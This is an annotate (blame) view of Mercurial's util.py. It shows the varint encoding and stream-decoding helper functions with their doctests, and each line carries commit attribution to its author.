35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3568 def uvarintencode(value):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3569 """Encode an unsigned integer value to a varint.
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3570
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3571 A varint is a variable length integer of 1 or more bytes. Each byte
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3572 except the last has the most significant bit set. The lower 7 bits of
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3573 each byte store the 2's complement representation, least significant group
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3574 first.
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3575
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3576 >>> uvarintencode(0)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3577 '\\x00'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3578 >>> uvarintencode(1)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3579 '\\x01'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3580 >>> uvarintencode(127)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3581 '\\x7f'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3582 >>> uvarintencode(1337)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3583 '\\xb9\\n'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3584 >>> uvarintencode(65536)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3585 '\\x80\\x80\\x04'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3586 >>> uvarintencode(-1)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3587 Traceback (most recent call last):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3588 ...
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3589 ProgrammingError: negative value for uvarint: -1
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3590 """
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3591 if value < 0:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3592 raise error.ProgrammingError('negative value for uvarint: %d' % value)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3593 bits = value & 0x7F
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3594 value >>= 7
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3595 bytes = []
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3596 while value:
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3597 bytes.append(pycompat.bytechr(0x80 \| bits))
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3598 bits = value & 0x7F
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3599 value >>= 7
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3600 bytes.append(pycompat.bytechr(bits))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3601
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3602 return ''.join(bytes)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3603
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3604
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3605 def uvarintdecodestream(fh):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3606 """Decode an unsigned variable length integer from a stream.
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3607
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3608 The passed argument is anything that has a ``.read(N)`` method.
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3609
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3610 >>> try:
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3611 ... from StringIO import StringIO as BytesIO
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3612 ... except ImportError:
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3613 ... from io import BytesIO
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3614 >>> uvarintdecodestream(BytesIO(b'\\x00'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3615 0
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3616 >>> uvarintdecodestream(BytesIO(b'\\x01'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3617 1
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3618 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3619 127
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3620 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3621 1337
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3622 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3623 65536
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3624 >>> uvarintdecodestream(BytesIO(b'\\x80'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3625 Traceback (most recent call last):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3626 ...
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3627 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3628 """
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3629 result = 0
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3630 shift = 0
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3631 while True:
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3632 byte = ord(readexactly(fh, 1))
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3633 result \|= (byte & 0x7F) << shift
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3634 if not (byte & 0x80):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3635 return result
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3636 shift += 7

Mercurial > public > mercurial-scm > hg-stable

annotate mercurial/util.py @ 43076:2372284d9457